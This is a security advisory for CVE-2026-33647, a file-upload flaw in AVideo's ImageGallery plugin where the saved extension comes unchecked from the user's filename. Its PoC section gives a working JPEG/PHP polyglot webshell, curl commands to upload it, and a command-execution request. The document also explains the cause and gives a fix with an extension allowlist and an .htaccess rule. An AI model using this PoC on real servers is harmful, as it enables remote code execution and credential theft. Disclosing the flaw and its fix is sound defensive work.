CVE-2026-33647

Description

## Summary The `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. ## Details The vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method: ```php // plugin/ImageGallery/ImageGallery.php:80-108 static function saveFile($file, $videos_id) { $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4']; $directory = self::getImageDir($videos_id); // MIME check on file CONTENT — bypassable with polyglot $finfo = new finfo(FILEINFO_MIME_TYPE); $fileType = $finfo->file($file['tmp_name']); if (in_array($fileType, $allowedMimeTypes)) { // Extension from attacker-controlled filename — NO allowlist $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); do { $newFilename = uniqid() . '.' . $extension; $newFilePath = $directory . $newFilename; } while (file_exists($newFilePath)); move_uploaded_file($file['tmp_name'], $newFilePath); // ... } } ``` **Root cause:** Line 93 extracts the extension from the user-supplied `$file['name']` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`). **Why the MIME check is insufficient:** PHP's `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\xff\xd8\xff\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server. **Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` — which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target. **Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` — directly accessible via the web server. The upload endpoint at `plugin/ImageGallery/upload.json.php` requires: 1. The ImageGallery plugin to be enabled (line 6-8) 2. An authenticated user (line 10-12) 3. The user must have manage permission on the video (line 18-20) — video owner or admin The response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell. ## PoC **Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video. **Step 1: Create a polyglot PHP/JPEG file** ```bash printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' >> shell.php ``` **Step 2: Verify it passes finfo detection** ```bash file --mime-type shell.php # Expected output: shell.php: image/jpeg ``` **Step 3: Upload via ImageGallery endpoint** ```bash curl -b 'PHPSESSID=<session_cookie>' \ -F "upl=@shell.php;filename=shell.php" \ 'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>' ``` **Expected response:** ```json { "videos_id": "123", "saveFile": true, "error": false, "list": [ { "base": "67890abcdef12.php", "type": "image/jpeg", "url": "https://target/videos/video_filename/ImageGallery/67890abcdef12.php" } ] } ``` **Step 4: Execute the webshell** ```bash curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id' # Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Impact An authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows: - Reading sensitive configuration files (database credentials in `videos/configuration.php`) - Full database access via the database credentials - Reading/modifying/deleting any file accessible to the web server process - Lateral movement within the server's network - Potential privilege escalation depending on server configuration Any AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low. ## Recommended Fix Add an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist: ```php // plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93 static function saveFile($file, $videos_id) { $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4']; + $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4']; $directory = self::getImageDir($videos_id); $finfo = new finfo(FILEINFO_MIME_TYPE); $fileType = $finfo->file($file['tmp_name']); if (in_array($fileType, $allowedMimeTypes)) { $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); + if (!in_array($extension, $allowedExtensions)) { + return false; + } do { $newFilename = uniqid() . '.' . $extension; ``` Additionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution: ```apache # videos/.htaccess php_flag engine off <FilesMatch "\.php$"> Require all denied </FilesMatch> ```